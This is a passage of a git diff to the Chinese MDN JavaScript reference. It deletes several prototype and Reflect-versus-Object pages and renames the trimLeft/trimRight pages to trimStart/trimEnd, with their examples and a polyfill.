{{jsxref("Reflect.ownKeys()")}}返回一个属性名称数组,该属性名称映射到目标对象自己的属性键。如果目标不是Object,则抛出TypeError

+
diff --git "a/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" "b/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" deleted file mode 100644 index 43023eae7f..0000000000 --- "a/files/zh-cn/web/javascript/reference/global_objects/reflect/\346\257\224\350\276\203_reflect_\345\222\214_object_\346\226\271\346\263\225/index.html" +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: 比较 Reflect 和 Object 方法 -slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 -tags: - - Guide - - JavaScript - - Object - - Overview - - Reflect -translation_of: >- - Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods ---- -
{{jssidebar}}
- -

ES2015中引入的 {{jsxref("Reflect")}} 对象是一个内置对象,提供了与JavaScript对象交互的方法。Reflect 上存在的一些静态函数也对应于ES2015之前的{{jsxref("Object")}}上可用的方法。尽管某些方法在行为上看似相似,但它们之间常常存在细微的差异。

- -

下表详细介绍了Object 和 Reflect API上可用方法之间的差异。请注意,如果API中不存在某种方法,则将其标记为N/A。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Method NameObjectReflect
defineProperty() -

{{jsxref("Object.defineProperty()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

-
-

如果在对象上定义了属性,则{{jsxref("Reflect.defineProperty()")}}返回true,否则返回false

-
defineProperties() -

{{jsxref("Object.defineProperties()")}} 返回传递给函数的对象。如果未在对象上成功定义属性,则返回TypeError

-
N/A
set()N/A -

如果在对象上成功设置了属性,则{{jsxref("Reflect.set()")}}返回true,否则返回false。如果目标不是Object,则抛出TypeError

-
get()N/A -

{{jsxref("Reflect.get()")}}返回属性的值。如果目标不是Object,则抛出TypeError

-
deleteProperty()N/A -

如果属性从对象中删除,则{{jsxref("Reflect.deleteProperty()")}}返回true,否则返回false

-
getOwnPropertyDescriptor() -

如果传入的对象参数上存在{{jsxref("Object.getOwnPropertyDescriptor()")}} ,则会返回给定属性的属性描述符,如果不存在,则返回undefined

-
-

如果给定属性存在于对象上,则{{jsxref("Reflect.getOwnPropertyDescriptor()")}} 返回给定属性的属性描述符。如果不存在则返回undefined,如果传入除对象(原始值)以外的任何东西作为第一个参数,则返回TypeError

-
getOwnPropertyDescriptors() -

{{jsxref("Object.getOwnPropertyDescriptors()")}} 返回一个对象,其中包含每个传入对象的属性描述符。如果传入的对象没有拥有的属性描述符,则返回一个空对象。

-
N/A
getPrototypeOf() -

{{jsxref("Object.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null。在ES5中为非对象抛出TypeError,但在ES2015中强制为非对象。

-
-

{{jsxref("Reflect.getPrototypeOf()")}}返回给定对象的原型。如果没有继承的原型,则返回null,并为非对象抛出TypeError

-
setPrototypeOf() -

如果对象的原型设置成功,则{{jsxref("Object.setPrototypeOf()")}}返回对象本身。如果设置的原型不是Objectnull,或者被修改的对象的原型不可扩展,则抛出TypeError

-
-

如果在对象上成功设置了原型,则{{jsxref("Reflect.setPrototypeOf()")}} 返回true,否则返回false(包括原型是否不可扩展)。如果传入的目标不是Object,或者设置的原型不是Objectnull,则抛出TypeError

-
isExtensible() -

如果对象是可扩展的,则Object.isExtensible()返回true,否则返回false。如果第一个参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,它将被强制为不可扩展的普通对象并返回false

-
-

如果对象是可扩展的,则{{jsxref("Reflect.isExtensible()")}} 返回true,否则返回false。如果第一个参数不是对象(原始值),则抛出TypeError

-
preventExtensions() -

{{jsxref("Object.preventExtensions()")}} 返回被设为不可扩展的对象。如果参数不是对象(原始值),则在ES5中抛出TypeError。在ES2015中,参数如为不可扩展的普通对象,然后返回对象本身。

-
-

returns true if the object has been made non-extensible, and false if it has not. Throws a TypeError if the argument is not an object (a primitive).

- -

如果对象已变得不可扩展,则{{jsxref("Reflect.preventExtensions()")}} 返回true,否则返回false。如果参数不是对象(原始值),则抛出TypeError

-
keys() -

{{jsxref("Object.keys()")}}返回一个字符串数组,该字符串映射到目标对象自己的(可枚举)属性键。如果目标不是对象,则在ES5中抛出TypeError,但将非对象目标强制为ES2015中的对象

-
N/A
ownKeys()N/A -

{{jsxref("Reflect.ownKeys()")}}返回一个属性名称数组,该属性名称映射到目标对象自己的属性键。如果目标不是Object,则抛出TypeError

-
diff --git a/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html deleted file mode 100644 index 0c76cb77ac..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/regexp/prototype/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: RegExp.prototype -slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype -tags: - - JavaScript - - Property - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp -translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---- -

{{JSRef("Global_Objects", "RegExp")}}

-

概述

-

RegExp.prototype 属性表示 {{jsxref("Global_Objects/RegExp", "RegExp")}} 构造函数的原型对象。

-

描述

-

查看 {{jsxref("Global_Objects/RegExp", "RegExp")}} 了解更多关于 RegExp 实例的说明。

-

RegExp 实例继承 RegExp.prototype。修改该原型对象上的属性或方法会影响到所有的 RegExp 实例。

-

属性

-

查看已废弃的RegExp属性

-

注意,RegExp 对象的几个属性既有完整的长属性名,也有对应的类 Perl 的短属性名。两个属性都有着同样的值。JavaScript 的正则语法就是基于 Perl 的。

-
-
- RegExp.prototype.constructor
-
- 创建该正则对象的构造函数。
-
- {{jsxref("RegExp.prototype.global")}}
-
- 是否开启全局匹配,也就是匹配目标字符串中所有可能的匹配项,而不是只进行第一次匹配。
-
- {{jsxref("RegExp.prototype.ignoreCase")}}
-
- 在匹配字符串时是否要忽略字符的大小写。
-
- {{jsxref("RegExp.prototype.lastIndex")}}
-
- 下次匹配开始的字符串索引位置。
-
- {{jsxref("RegExp.prototype.multiline")}}
-
- 是否开启多行模式匹配(影响 ^ 和 $ 的行为)。
-
- {{jsxref("RegExp.prototype.source")}}
-
- 正则对象的源模式文本。
-
- {{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}
-
- 是否开启粘滞匹配。
-
-
- {{ jsOverrides("Object", "properties", "constructor", "global", "ignoreCase", "lastIndex", "multiline", "source", "sticky") }}
-

方法

-

查看已废弃的RegExp方法

-
-
- {{jsxref("RegExp.prototype.exec()")}}
-
- 在目标字符串中执行一次正则匹配操作。
-
- {{jsxref("RegExp.prototype.test()")}}
-
- 测试当前正则是否能匹配目标字符串。
-
- {{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
-
- 返回一个字符串,其值为该正则对象的字面量形式。覆盖了Object.prototype.toSource 方法.
-
- {{jsxref("RegExp.prototype.toString()")}}
-
- 返回一个字符串,其值为该正则对象的字面量形式。覆盖了{{jsxref("Object.prototype.toString()")}} 方法。
-
-
- {{ jsOverrides("Object", "Methods", "exec", "test", "toSource", "toString") }}
-

规范

- - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.10.5.1', 'RegExp')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-regexp.prototype', 'RegExp.prototype')}}{{Spec2('ES6')}} 
-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-

相关链接

- -

 

diff --git a/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html deleted file mode 100644 index ccb6f2df65..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: SharedArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype -tags: - - Prototype - - SharedArrayBuffer -translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer -translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype ---- -
{{JSRef}}
- -

SharedArrayBuffer.prototype  属性表示 {{jsxref("SharedArrayBuffer")}}  对象的原型。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

SharedArrayBuffer实例继承自SharedArrayBuffer.prototype。 与所有构造函数一样,您可以更改构造函数的原型对象以对所有SharedArrayBuffer实例进行更改。

- -

属性

- -
-
SharedArrayBuffer.prototype.constructor
-
指定创建对象原型的函数。 初始值为标准的内置SharedArrayBuffer构造函数。
-
{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
-
数组的大小(以字节为单位)。 这是在数组初始化时建立的,并且无法被更改。 只读
-
- -

方法

- -
-
{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(begin, end)")}}
-
返回一个新的SharedArrayBuffer,其内容是此SharedArrayBuffer字节从beigin开始(包括begin)到end结束(不包括end)的副本。 如果beginend为负,则它是指数组末尾的索引,而不是开头的索引。
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}{{Spec2('ESDraft')}}Initial definition in ES2017.
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}

- -

相关链接

- -
    -
  • {{jsxref("SharedArrayBuffer")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html deleted file mode 100644 index 00a9695a64..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/prototype/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: String.prototype -slug: Web/JavaScript/Reference/Global_Objects/String/prototype -tags: - - JavaScript - - 原型 - - 参考 - - 字符串 - - 属性 -translation_of: Web/JavaScript/Reference/Global_Objects/String -translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype ---- -
{{JSRef}}
- -

 String.prototype 属性表示 {{jsxref("String")}}原型对象。

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

所有 {{jsxref("String")}} 的实例都继承自 String.prototype. 任何String.prototype上的改变都会影响到所有的 {{jsxref("String")}} 实例。

- -

属性

- -
-
String.prototype.constructor
-
用于创造对象的原型对象的特定的函数。
-
{{jsxref("String.prototype.length")}}
-
返回了字符串的长度。
-
N
-
用于访问第N个位置的字符,其中N是小于 {{jsxref("String.length", "length")}} 和 0之间的正整数。这些属性都是“只读”性质,不能编辑。
-
- -

方法

- -

跟HTML无关的方法

- -
-
{{jsxref("String.prototype.charAt()")}}
-
返回特定位置的字符。
-
{{jsxref("String.prototype.charCodeAt()")}}
-
返回表示给定索引的字符的Unicode的值。
-
{{jsxref("String.prototype.codePointAt()")}}
-
返回使用UTF-16编码的给定位置的值的非负整数。
-
{{jsxref("String.prototype.concat()")}}
-
连接两个字符串文本,并返回一个新的字符串。
-
{{jsxref("String.prototype.includes()")}}
-
判断一个字符串里是否包含其他字符串。
-
{{jsxref("String.prototype.endsWith()")}}
-
判断一个字符串的是否以给定字符串结尾,结果返回布尔值。
-
{{jsxref("String.prototype.indexOf()")}}
-
从字符串对象中返回首个被发现的给定值的索引值,如果没有找到则返回-1。
-
{{jsxref("String.prototype.lastIndexOf()")}}
-
从字符串对象中返回最后一个被发现的给定值的索引值,如果没有找到则返回-1。
-
{{jsxref("String.prototype.localeCompare()")}}
-
返回一个数字表示是否引用字符串在排序中位于比较字符串的前面,后面,或者二者相同。
-
{{jsxref("String.prototype.match()")}}
-
使用正则表达式与字符串相比较。
-
{{jsxref("String.prototype.normalize()")}}
-
返回调用字符串值的Unicode标准化形式。
-
{{jsxref("String.prototype.padEnd()")}}
-
在当前字符串尾部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。
-
{{jsxref("String.prototype.padStart()")}}
-
-

在当前字符串头部填充指定的字符串, 直到达到指定的长度。 返回一个新的字符串。

-
-
{{jsxref("String.prototype.quote()")}} {{ obsolete_inline }}
-
设置嵌入引用的引号类型。
-
{{jsxref("String.prototype.repeat()")}}
-
返回指定重复次数的由元素组成的字符串对象。
-
{{jsxref("String.prototype.replace()")}}
-
被用来在正则表达式和字符串直接比较,然后用新的子串来替换被匹配的子串。
-
{{jsxref("String.prototype.search()")}}
-
对正则表达式和指定字符串进行匹配搜索,返回第一个出现的匹配项的下标。
-
{{jsxref("String.prototype.slice()")}}
-
摘取一个字符串区域,返回一个新的字符串。
-
{{jsxref("String.prototype.split()")}}
-
通过分离字符串成字串,将字符串对象分割成字符串数组。
-
{{jsxref("String.prototype.startsWith()")}}
-
判断字符串的起始位置是否匹配其他字符串中的字符。
-
{{jsxref("String.prototype.substr()")}}
-
通过指定字符数返回在指定位置开始的字符串中的字符。
-
{{jsxref("String.prototype.substring()")}}
-
返回在字符串中指定两个下标之间的字符。
-
{{jsxref("String.prototype.toLocaleLowerCase()")}}
-
根据当前区域设置,将符串中的字符转换成小写。对于大多数语言来说,{{jsxref("String.toLowerCase", "toLowerCase")}}的返回值是一致的。
-
{{jsxref("String.prototype.toLocaleUpperCase()")}}
-
根据当前区域设置,将字符串中的字符转换成大写,对于大多数语言来说,{{jsxref("String.toUpperCase", "toUpperCase")}}的返回值是一致的。
-
{{jsxref("String.prototype.toLowerCase()")}}
-
将字符串转换成小写并返回。
-
{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}
-
返回一个对象文字代表着特定的对象。你可以使用这个返回值来创建新的对象。重写 {{jsxref("Object.prototype.toSource")}} 方法。
-
{{jsxref("String.prototype.toString()")}}
-
返回用字符串表示的特定对象。重写 {{jsxref("Object.prototype.toString")}} 方法。
-
{{jsxref("String.prototype.toUpperCase()")}}
-
将字符串转换成大写并返回。
-
{{jsxref("String.prototype.trim()")}}
-
从字符串的开始和结尾去除空格。参照部分 ECMAScript 5 标准。
-
{{jsxref("String.prototype.trimStart()")}}
-
{{jsxref("String.prototype.trimLeft()")}} {{ Non-standard_inline() }}
-
从字符串的左侧去除空格。
-
{{jsxref("String.prototype.trimEnd()")}}
-
{{jsxref("String.prototype.trimRight()")}} {{ Non-standard_inline() }}
-
从字符串的右侧去除空格。
-
{{jsxref("String.prototype.valueOf()")}}
-
返回特定对象的原始值。重写 {{jsxref("Object.prototype.valueOf")}} 方法。
-
{{jsxref("String.prototype.@@iterator()", "String.prototype[@@iterator]()")}}
-
返回一个新的迭代器对象,该对象遍历字符串值的索引位置,将每个索引值作为字符串值返回。
-
- -

HTML wrapper methods

- -

下面的方法被限制使用,因为只对可用的HTML标签和属性提供部分支持。

- -
-
{{jsxref("String.prototype.anchor()")}}
-
<a name="name"> (hypertext target)
-
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
-
{{HTMLElement("big")}}
-
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
-
{{HTMLElement("blink")}}
-
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
-
{{HTMLElement("b")}}
-
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
-
{{HTMLElement("tt")}}
-
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
-
<font color="color">
-
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
-
<font size="size">
-
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
-
{{HTMLElement("i")}}
-
{{jsxref("String.prototype.link()")}}
-
<a href="url"> (link to URL)
-
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
-
{{HTMLElement("small")}}
-
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
-
{{HTMLElement("strike")}}
-
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
-
{{HTMLElement("sub")}}
-
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
-
{{HTMLElement("sup")}}
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.String.prototype")}}

- -

更多

- -
    -
  • {{jsxref("Global_Objects/String", "String")}}
  • -
  • {{jsxref("Function.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html new file mode 100644 index 0000000000..9c8319cb29 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html @@ -0,0 +1,84 @@ +--- +title: String.prototype.trimRight() +slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd +--- +
{{JSRef}}
+ +

trimEnd() 方法从一个字符串的末端移除空白字符。trimRight() 是这个方法的别名。

+ +

{{EmbedInteractiveExample("pages/js/string-trimend.html")}}

+ +

The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.

+ +

语法

+ +
str.trimEnd();
+str.trimRight();
+ +

返回值

+ +

一个新字符串,表示从调用字串的末(右)端除去空白。

+ +

描述

+ +

trimEnd() / trimRight()方法移除原字符串右端的连续空白符并返回,trimEnd() / trimRight()方法并不会直接修改原字符串本身。

+ +

别名

+ +

为了与 {{jsxref("String.prototype.padEnd")}} 等函数保持一致,标准方法名称为trimEnd。 但是,出于Web兼容性原因,trimRight仍然是trimEnd的别名。 在某些引擎中,这意味着:

+ +
String.prototype.trimRight.name === "trimEnd";
+
+ +

示例

+ +

使用trimEnd()

+ +

下面的例子输出了小写的字符串"   foo":

+ +
var str = "   foo  ";
+
+alert(str.length); // 8
+
+str = str.trimRight();  // 或写成str = str.trimEnd();
+console.log(str.length); // 6
+console.log(str);       // '   foo'
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
+ +

Browser compatibility

+ +

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("javascript.builtins.String.trimEnd")}}

+ +

相关链接

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
  • +
  • {{jsxref("String.prototype.trimStart()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html deleted file mode 100644 index bc6133cecb..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimleft/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: String.prototype.trimStart() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft -tags: - - JavaScript - - Method - - Prototype - - String - - 参考 - - 字符串 - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart ---- -
{{JSRef}}
- -
trimStart() 方法从字符串的开头删除空格。trimLeft() 是此方法的别名。
- -
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
- - - -

语法

- -
str.trimStart();
-str.trimLeft();
- -

返回值

- -

一个新字符串,表示从其开头(左端)除去空格的调用字符串。

- -

描述

- -

trimStart() / trimLeft() 方法移除原字符串左端的连续空白符并返回一个新字符串,并不会直接修改原字符串本身。

- -

别名

- -

为了与 {{jsxref("String.prototype.padStart")}} 等函数保持一致,标准方法名称为trimStart。 但是,出于 Web 兼容性原因,trimLeft 仍然是 trimStart 的别名。在某些引擎中,这意味着:

- -
String.prototype.trimLeft.name === "trimStart";
- -

示例

- -

使用 trimStart()

- -

下面的例子输出了小写的字符串 "foo  "

- -
var str = "   foo  ";
-
-console.log(str.length); // 8
-
-str = str.trimStart()    // 等同于 str = str.trimLeft();
-console.log(str.length); // 5
-console.log(str);        // "foo  "
-
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.String.trimStart")}}

- -

Polyfill

- -
// https://github.com/FabioVergani/js-Polyfill_String-trimStart
-
-(function(w){
-    var String=w.String, Proto=String.prototype;
-
-    (function(o,p){
-        if(p in o?o[p]?false:true:true){
-            var r=/^\s+/;
-            o[p]=o.trimLeft||function(){
-                return this.replace(r,'')
-            }
-        }
-    })(Proto,'trimStart');
-
-})(window);
-
-
-/*
-ES6:
-(w=>{
-    const String=w.String, Proto=String.prototype;
-
-    ((o,p)=>{
-        if(p in o?o[p]?false:true:true){
-            const r=/^\s+/;
-            o[p]=o.trimLeft||function(){
-                return this.replace(r,'')
-            }
-        }
-    })(Proto,'trimStart');
-
-})(window);
-*/
- -

参见

- -
    -
  • {{jsxref("String.prototype.trim()")}}
  • -
  • {{jsxref("String.prototype.trimEnd()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html deleted file mode 100644 index 9c8319cb29..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimright/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: String.prototype.trimRight() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd ---- -
{{JSRef}}
- -

trimEnd() 方法从一个字符串的末端移除空白字符。trimRight() 是这个方法的别名。

- -

{{EmbedInteractiveExample("pages/js/string-trimend.html")}}

- -

The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.

- -

语法

- -
str.trimEnd();
-str.trimRight();
- -

返回值

- -

一个新字符串,表示从调用字串的末(右)端除去空白。

- -

描述

- -

trimEnd() / trimRight()方法移除原字符串右端的连续空白符并返回,trimEnd() / trimRight()方法并不会直接修改原字符串本身。

- -

别名

- -

为了与 {{jsxref("String.prototype.padEnd")}} 等函数保持一致,标准方法名称为trimEnd。 但是,出于Web兼容性原因,trimRight仍然是trimEnd的别名。 在某些引擎中,这意味着:

- -
String.prototype.trimRight.name === "trimEnd";
-
- -

示例

- -

使用trimEnd()

- -

下面的例子输出了小写的字符串"   foo":

- -
var str = "   foo  ";
-
-alert(str.length); // 8
-
-str = str.trimRight();  // 或写成str = str.trimEnd();
-console.log(str.length); // 6
-console.log(str);       // '   foo'
-
- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
- -

Browser compatibility

- -

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

- -

{{Compat("javascript.builtins.String.trimEnd")}}

- -

相关链接

- -
    -
  • {{jsxref("String.prototype.trim()")}}
  • -
  • {{jsxref("String.prototype.trimStart()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html new file mode 100644 index 0000000000..bc6133cecb --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html @@ -0,0 +1,122 @@ +--- +title: String.prototype.trimStart() +slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft +tags: + - JavaScript + - Method + - Prototype + - String + - 参考 + - 字符串 + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart +--- +
{{JSRef}}
+ +
trimStart() 方法从字符串的开头删除空格。trimLeft() 是此方法的别名。
+ +
{{EmbedInteractiveExample("pages/js/string-trimstart.html")}}
+ + + +

语法

+ +
str.trimStart();
+str.trimLeft();
+ +

返回值

+ +

一个新字符串,表示从其开头(左端)除去空格的调用字符串。

+ +

描述

+ +

trimStart() / trimLeft() 方法移除原字符串左端的连续空白符并返回一个新字符串,并不会直接修改原字符串本身。

+ +

别名

+ +

为了与 {{jsxref("String.prototype.padStart")}} 等函数保持一致,标准方法名称为trimStart。 但是,出于 Web 兼容性原因,trimLeft 仍然是 trimStart 的别名。在某些引擎中,这意味着:

+ +
String.prototype.trimLeft.name === "trimStart";
+ +

示例

+ +

使用 trimStart()

+ +

下面的例子输出了小写的字符串 "foo  "

+ +
var str = "   foo  ";
+
+console.log(str.length); // 8
+
+str = str.trimStart()    // 等同于 str = str.trimLeft();
+console.log(str.length); // 5
+console.log(str);        // "foo  "
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
String.prototype.{trimStart,trimEnd}proposalStage 4Expected to be part of ES2019
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.String.trimStart")}}

+ +

Polyfill

+ +
// https://github.com/FabioVergani/js-Polyfill_String-trimStart
+
+(function(w){
+    var String=w.String, Proto=String.prototype;
+
+    (function(o,p){
+        if(p in o?o[p]?false:true:true){
+            var r=/^\s+/;
+            o[p]=o.trimLeft||function(){
+                return this.replace(r,'')
+            }
+        }
+    })(Proto,'trimStart');
+
+})(window);
+
+
+/*
+ES6:
+(w=>{
+    const String=w.String, Proto=String.prototype;
+
+    ((o,p)=>{
+        if(p in o?o[p]?false:true:true){
+            const r=/^\s+/;
+            o[p]=o.trimLeft||function(){
+                return this.replace(r,'')
+            }
+        }
+    })(Proto,'trimStart');
+
+})(window);
+*/
+ +

参见

+ +
    +
  • {{jsxref("String.prototype.trim()")}}
  • +
  • {{jsxref("String.prototype.trimEnd()")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html deleted file mode 100644 index f00b37a223..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/symbol/prototype/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Symbol.prototype -slug: Web/JavaScript/Reference/Global_Objects/Symbol/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Symbol -translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype ---- -
{{JSRef}}
- -

Symbol.prototype 表示 {{jsxref("Symbol")}} 构造函数的原型。.

- -
{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}
- -

Description

- -

{{jsxref("Symbol")}} 继承自 {{jsxref("Symbol.prototype")}}. 你可以使用构造函数的原型对象来给所有Symbol实例添加属性或者方法。

- -

{{js_property_attributes(0,0,0)}}

- -

Properties

- -
-
Symbol.prototype.constructor
-
返回创建实例原型的函数. 默认为 {{jsxref("Symbol")}} 函数。
-
{{jsxref("Symbol.prototype.description")}}
-
一个包含symbol描述的只读字符串。
-
- -

Methods

- -
-
{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}
-
返回包含{{jsxref("Global_Objects/Symbol", "Symbol")}} 对象源码的字符串。覆盖{{jsxref("Object.prototype.toSource()")}} 方法。
-
{{jsxref("Symbol.prototype.toString()")}}
-
返回包含Symbol描述符的字符串。 覆盖{{jsxref("Object.prototype.toString()")}} 方法。
-
{{jsxref("Symbol.prototype.valueOf()")}}
-
返回 {{jsxref("Symbol")}} 对象的初始值.。覆盖 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}
-
 返回{{jsxref("Symbol")}}对象的初始值。
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ES6')}}Initial definition.
{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- -

{{Compat("javascript.builtins.Symbol.prototype")}}

- -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html deleted file mode 100644 index 6f109510ef..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/syntaxerror/prototype/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: SyntaxError.prototype -slug: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype -tags: - - Error - - JavaScript - - Property - - Prototype - - SyntaxError -translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError -translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype ---- -
